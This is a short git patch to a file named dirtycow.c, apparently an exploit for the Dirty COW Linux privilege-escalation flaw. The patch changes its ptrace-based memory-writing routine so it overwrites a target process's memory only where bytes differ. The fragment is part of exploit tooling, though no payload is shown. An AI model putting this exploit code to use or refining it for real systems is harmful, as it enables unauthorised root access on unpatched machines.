From d177e97588a41f6e10670c562d83a2fd1e31482b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan=20Schl=C3=BCter?= Date: Sun, 10 Jan 2021 22:57:58 +0100 Subject: [PATCH] only change what needs to be changed --- dirtycow.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/dirtycow.c b/dirtycow.c index 85f82df..e5e4e52 100644 --- a/dirtycow.c +++ b/dirtycow.c @@ -111,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n) s = src; while (n >= sizeof(long)) { - memcpy(&value, s, sizeof(value)); - if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { - warn("ptrace(PTRACE_POKETEXT)"); - return -1; + if (*((long *) s) != *((long *) d)) { + memcpy(&value, s, sizeof(value)); + if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { + warn("ptrace(PTRACE_POKETEXT)"); + return -1; + } } n -= sizeof(long);